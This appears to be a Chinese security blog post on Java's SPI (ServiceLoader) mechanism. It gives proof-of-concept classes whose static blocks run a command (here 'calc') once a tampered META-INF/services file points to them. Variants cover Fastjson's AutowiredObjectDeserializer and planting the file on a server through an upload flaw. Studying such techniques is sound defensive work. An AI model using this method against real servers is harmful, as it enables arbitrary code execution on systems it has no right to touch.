淺析Java SPI安全

語言: CN / TW / HK

SPI全稱Service Provider Interface,是Java提供的一套用來被第三方實現或者擴展的API,它可以用來啟用框架擴展和替換組件。常見的SPI有JDBC、日誌門面接口、Spring、SpringBoot相關starter組件、Dubbo、JNDI等。

Java SPI實際上是“基於接口的編程+策略模式+配置文件”組合實現的動態加載機制,在JDK中提供了工具類 java.util.ServiceLoader 來實現服務查找。

SPI的整體機制圖如下:

系統設計的各個抽象,往往有很多不同的實現方案,在面向的對象的設計裏,一般推薦模塊之間基於接口編程,模塊之間不對實現類進行硬編碼。一旦代碼裏涉及具體的實現類,就違反了可拔插的原則,如果需要替換一種實現,就需要修改代碼。為了實現在模塊裝配的時候能不在程序裏動態指明,這就需要一種服務發現機制。Java SPI就是提供這樣的一個機制:為某個接口尋找服務實現的機制。有點類似IOC的思想,就是將裝配的控制權移到程序之外,在模塊化設計中這個機制尤其重要。所以SPI的核心思想就是解耦。

在Jdk 6裏面引進的一個新的特性ServiceLoader,從官方的文檔來説,它主要是用來裝載一系列的Service Provider。而且ServiceLoader可以通過Service Provider的配置文件來裝載指定的Service Provider。當服務的提供者,提供了服務接口的一種實現之後,我們只需要在jar包的META-INF/services/目錄裏同時創建一個以服務接口命名的文件。該文件裏就是實現該服務接口的具體實現類。而當外部程序裝配這個模塊的時候,就能通過該jar包META-INF/services/裏的配置文件找到具體的實現類名,並裝載實例化,完成模塊的注入。

簡單地説,SPI機制就是,服務端提供接口類和尋找服務的功能,客户端用户這邊根據服務端提供的接口類來定義具體的實現類,然後服務端會在加載該實現類的時候去尋找該服務即META-INF/services/目錄裏的配置文件中指定的類。這就是SPI和傳統的API的區別,API是服務端自己提供接口類並自己實現相應的類供客户端進行調用,而SPI則是提供接口類和服務尋找功能、具體的實現類由客户端實現並調用:

SPI使用示例

SPI機制的實現,具體的實現類就是 java.util.ServiceLoader 這個類。其原理是根據傳入的接口類,遍歷 META-INF/services 目錄下的以該類命名的文件中的所有類,並實例化返回。

SPI使用步驟:

  1. 創建一個接口文件;
  2. 在resources目錄下創建META-INF/services文件夾;
  3. 在services目錄中創建文件,以接口全名命名該文件,稱該文件為SPI配置文件;
  4. 創建接口實現類;
  5. 在SPI配置文件中填入接口實現類的全名;

下面具體看下例子。

第一步,創建一個接口文件,Search.java:

public interface Search {
    List<String> searchDoc(String keyword);
}

第二步,在resources目錄即src下創建META-INF/services文件夾:

第三步,在services目錄中創建文件,以接口全名命名該文件:

第四步,創建接口實現類,這裏分別創建FileSearch.java和DatabaseSearch.java:

// FileSearch.java
public class FileSearch implements Search {
    @Override
    public List<String> searchDoc(String keyword) {
        System.out.println("文件搜索 "+keyword);
        return null;
    }
}

// DatabaseSearch.java
public class DatabaseSearch implements Search {
    @Override
    public List<String> searchDoc(String keyword) {
        System.out.println("數據搜索 "+keyword);
        return null;
    }
}

第五步,在SPI配置文件中填入接口實現類的全名,這裏先填FileSearch的:

最後,我們寫一個測試程序:

public class Test {
    public static void main(String[] args) {
        ServiceLoader<Search> s = ServiceLoader.load(Search.class);
        Iterator<Search> iterator = s.iterator();
        while (iterator.hasNext()) {
            Search search =  iterator.next();
            search.searchDoc("Java SPI Test");
        }
    }
}

運行輸出如下:

文件搜索 Java SPI Test

如果SPI配置文件中的內容改為DatabaseSearch類的全名的話就輸出:

數據搜索 Java SPI Test

若兩個實現類都寫入了,則兩者都會進行輸出。

這樣就明顯看到,實現方(或服務端)提供了接口類,具體調用哪個實現類由調用方(或客户端)通過SPI機制來指定調用。

0x02 SPI安全問題

根據SPI的思想,我們知道服務端提供的接口類是用户自己實現的,但如果攻擊者根據接口類編寫惡意的實現類,然後通過某種方式修改ClassPath中META-INF/services目錄中的對應的SPI配置文件後,就會導致服務端在通過SPI機制調用用户自定義的惡意實現類時的任意代碼執行。

Sample

Output.java,服務端提供的接口類,設計用來輸出的接口類,在com.mi1k7ea包中:

package com.mi1k7ea;

public interface Output {
    void outPut();
}

Test.java,服務端的通過SPI機制調用Output接口類的實現類的程序,在com.mi1k7ea包中:

import com.mi1k7ea.Output;

import java.util.Iterator;
import java.util.ServiceLoader;

public class Test {
    public static void main(String[] args) {
        ServiceLoader<Output> s = ServiceLoader.load(Output.class);
        Iterator<Output> iterator = s.iterator();
        while (iterator.hasNext()) {
            Output output =  iterator.next();
            output.outPut();
        }
    }
}

正常使用場景

OutputImpl類,實現Output接口類,是正常用户通過SPI機制根據Output接口類來定義的,重寫outPut()函數實現輸出,在com.user包中:

package com.user;

import com.mi1k7ea.Output;

public class OutputImpl implements Output {
    @Override
    public void outPut() {
        System.out.println("I am OutputImpl.");
    }
}

META-INF/services/com.mi1k7ea.Output,服務端Output接口類的SPI配置文件:

com.user.OutputImpl

運行服務端的Test,正常執行用户自定義實現的類並輸出內容:

問題場景

Evil類,同樣是用户根據SPI自定義實現Output接口類,但該類中添加了靜態代碼塊來執行惡意命令(當然也可以在重寫的方法中寫入惡意代碼,但服務端程序的調用實現類的時候不一定會調用該方法,因此寫靜態代碼塊才會必然使之觸發):

package com.user;

import com.mi1k7ea.Output;

public class Evil implements Output {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public void outPut() {
        System.out.println("This is Evil.");
    }
}

META-INF/services/com.mi1k7ea.Output,服務端Output接口類的SPI配置文件添加或直接修改為:

com.user.Evil

運行服務端程序Test,即可觸發彈計算器:

反序列化Gadget——ScriptEngineManager

反序列化漏洞利用的其中一個Gadget——ScriptEngineManager,其利用原理就是Java的SPI機制。

具體的利用和調試分析可參考: Java SnakeYaml反序列化漏洞

Fastjson反序列化中的SPI

Fastjson在反序列化之前,會先獲取ObjectDeserializer即對應的對象反序列化解析器。

ObjectDeserializer:先根據fieldType獲取已緩存的解析器,如果沒有則根據fieldClass獲取已緩存的解析器,否則根據註解的JSONType獲取解析器,否則通過當前線程加載器加載的AutowiredObjectDeserializer查找解析器,否則判斷是否為幾種常用泛型(比如Collection、Map等),最後通過createJavaBeanDeserializer來創建對應的解析器。

Fastjson在反序列化的時候支持通過Java的SPI機制擴展新的反序列化解析器,其中該解析器對應的接口類為com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer。

如果攻擊者實現的該接口類的實現類存在惡意代碼,且修改了SPI配置文件指向該惡意實現類,那麼當服務端在進行Fastjson反序列化的過程中通過SPI機制調用的AutowiredObjectDeserializer接口類的實現類的時候就會導致惡意代碼執行。

Sample

環境用jar包是fastjson-1.2.25。

FJTest.java,實現AutowiredObjectDeserializer接口類,在靜態代碼塊中添加惡意命令執行的操作:

package com.evil;

import com.alibaba.fastjson.parser.DefaultJSONParser;
import com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer;

import java.lang.reflect.Type;
import java.util.Set;

public class FJTest implements AutowiredObjectDeserializer {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    @Override
    public Set<Type> getAutowiredFor() {
        return null;
    }

    @Override
    public <T> T deserialze(DefaultJSONParser defaultJSONParser, Type type, Object o) {
        return null;
    }

    @Override
    public int getFastMatchToken() {
        return 0;
    }
}

在META-INF/services目錄中新建名為com.alibaba.fastjson.parser.deserializer.AutowiredObjectDeserializer的文件,其中內容為:

com.evil.FJTest

當服務端存在Fastjson反序列化操作時,即可通過SPI觸發惡意代碼執行。這裏假設服務端存在如下Fastjson反序列化操作,即反序列化得到Student類對象:

Student類:

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("構造函數");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Test.java,服務端進行Fastjson反序列化的程序:

public class Test {
    public static void main(String[] args) {
        String jsonstring ="{\"@type\":\"Student\",\"age\":6,\"name\":\"Mi1k7ea\"}";
        Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
    }
}

運行Test程序進行正常的反序列化操作,直接觸發彈計算器:

當然,我們本地示例是直接在ClassPath上進行創建META-INF/services目錄的相關操作的,這種情景針對於目標服務端環境中,比如Tomcat容器中存在該META-INF/services目錄,我們可以通過文件上傳漏洞將惡意的SPI配置文件傳至該目錄中,再上傳一個惡意的class導致惡意代碼執行;除此之外,還有一種更常見的情景就是,通過jar包的形式來實現,但在實際場景的攻擊利用中較為困難,因為目標服務端一般在運行Java Web相關環境時就已經指定好哪些jar加載到Java內存中解析執行,即使我們後面上傳也沒用。

調試分析

直接在惡意代碼FJTest中的靜態代碼塊 Runtime.getRuntime().exec("calc"); 上打斷點開始調試。

運行直接看到如下函數調用棧:

<clinit>:12, FJTest (com.evil)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
load:49, ServiceLoader (com.alibaba.fastjson.util)
getDeserializer:475, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:364, ParserConfig (com.alibaba.fastjson.parser)
parseObject:636, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
main:11, Test

可以看到,在ParserConfig.getDeserializer()函數調用中,會循環調用ServiceLoader.load()函數即通過SPI機制來到META-INF/services目錄中加載AutowiredObjectDeserializer接口類的實現類:

跟進去ServiceLoader.load()函數,先獲取接口類名、拼接出SPI配置文件的路徑,然後調用getResources()從SPI配置文件中獲取指定的實現類的URL地址,再循環將實現類都加載進來,加載後會調用newInstance()函數來新建該實現類對象實例:

再往下就是新建類實例的過程中執行了該惡意類的靜態代碼塊的過程從而導致惡意代碼執行了。